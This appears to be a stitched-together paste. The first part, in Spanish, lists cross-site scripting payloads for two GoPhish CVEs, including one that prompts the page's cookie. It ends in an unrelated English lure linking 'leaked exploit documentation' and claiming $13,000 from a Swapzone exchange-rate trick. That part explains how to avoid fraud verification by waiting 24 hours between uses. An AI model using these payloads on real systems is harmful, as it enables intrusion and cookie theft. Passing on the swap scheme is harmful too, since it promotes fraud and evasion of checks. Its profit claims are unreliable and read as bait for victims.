Untitled

La vulnerabilidad se encuentra en la última versión y anteriores de GoPhish (https://github.com/gophish/gophish).

CVE: CVE-2022-45004

Para explotar la vulnerabilidad es necesario descargar la herramienta y crear una nueva "LANDING PAGE".
> Introducir uno a uno los siguientes payloads:

onMouseOver=<script>alert("/XSS BY Y000!/")</script>
<input onblur=top[/al/.source+/ert/.source]("_Y00!_") autofocus><input autofocus>
<input onblur=["_Y00!_"].find(alert) autofocus><input autofocus>
<input onblur=(((confirm)))("_Y00!_") autofocus><input autofocus>
<form><button formaction=javascript&colon;alert('xss_by_Y000!')>_Y000!_
<Img src="/" =_=" title=" onerror='prompt(document.cookie)'">


CVE-2022-45003

Para explotar la vulnerabilidad es necesario descargar la herramienta y crear una nueva "LANDING PAGE".
> Introducir el siguiente payload:

"  autofocus '-->--!><Input/Autofocus/*/Onfocus=document.location=``;alert`_Y000!_`//>


Vulnerability Discover: Mikel Hernández Alonso
✅ Leaked Exploit Documentation:

https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing

This made me $13,000 in 2 days.

Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 38% — they will simply correct the exchange rate.
The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.

Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from Swapzone — instant swap).